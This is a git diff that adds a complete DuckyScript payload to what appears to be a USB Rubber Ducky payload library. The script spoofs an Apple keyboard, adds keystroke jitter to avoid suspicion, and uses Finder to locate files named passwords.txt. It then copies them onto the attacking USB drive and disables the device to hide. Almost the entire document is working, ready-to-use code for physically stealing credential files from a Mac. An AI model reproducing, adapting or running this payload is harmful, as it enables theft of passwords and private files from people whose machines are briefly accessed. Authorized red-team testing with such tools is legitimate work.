diff --git a/payloads/library/exfiltration/Exfiltrate_file_through_GUI_mac/payload.txt b/payloads/library/exfiltration/Exfiltrate_file_through_GUI_mac/payload.txt new file mode 100644 index 0000000..2ffe0fc --- /dev/null +++ b/payloads/library/exfiltration/Exfiltrate_file_through_GUI_mac/payload.txt @@ -0,0 +1,89 @@ +REM TITLE Exfiltrate specific file macOS +REM AUTHOR Kile +REM DESCRIPTION Opens the terminal, then uses search to find all files matching filename and copies them to the DUCKY + +REM NOTE This is not unlikely to fail depending on the speed of search or if a large amount of files meet the criteria. Adjust DELAYs to your needs + +ATTACKMODE STORAGE HID VID_05AC PID_021E +DELAY 2000 + +REM the filename for the payload to look for +DEFINE #target passwords.txt + +REM Given that it uses the GUI it is a good idea to enable jitter to be less suspicious +$_JITTER_ENABLED = TRUE + +REM This function tabs the amount of times it takes from a finder search to go onto the first file result (4) +FUNCTION DO_TABS() + VAR $COUNTER = 0 + WHILE ($COUNTER < 4) + TAB + DELAY 100 + $COUNTER = ($COUNTER + 1) + END_WHILE +END_FUNCTION + +REM Open finder +COMMAND SPACE +STRINGLN finder +DELAY 500 +REM Command n spawns a new window. This makes sure there is only one finder tab (for tabbing to the files later) +COMMAND n + +REM Open search bar in finder +COMMAND f +DELAY 200 +REM type target filename +STRING #target +DELAY 200 +REM This specifies that the passwords.txt has to be a filename and not be in any file +DOWN +ENTER +ENTER + +REM Give a bit to find all files +DELAY 500 +REM now 4 tabs to get to the first file result +DO_TABS() + +REM select all files that have the specified target in their name +COMMAND a +REM Copy the files +COMMAND c +DELAY 500 +REM Go back to search window +COMMAND f +DELAY 200 +REM Delete previous search +DEL + +REM Search for DUCKY USB +STRING DUCKY +DELAY 200 +DOWN +ENTER +REM Specifies that the "DUCKY" has to be an external USB drive +STRING Volume +DELAY 200 +DOWN +DOWN +DOWN +ENTER +ENTER +REM This can take annoyingly long to show up which is why the delay is so big +DELAY 6000 + +REM Go to first result +DO_TABS() + +REM Open the drive +COMMAND o +DELAY 1000 +REM This takes a few seconds + +REM Paste the copied files. As this may take a few seconds given on how many results there were there is a long delay +COMMAND v +DELAY 7000 + +REM Hide +ATTACKMODE OFF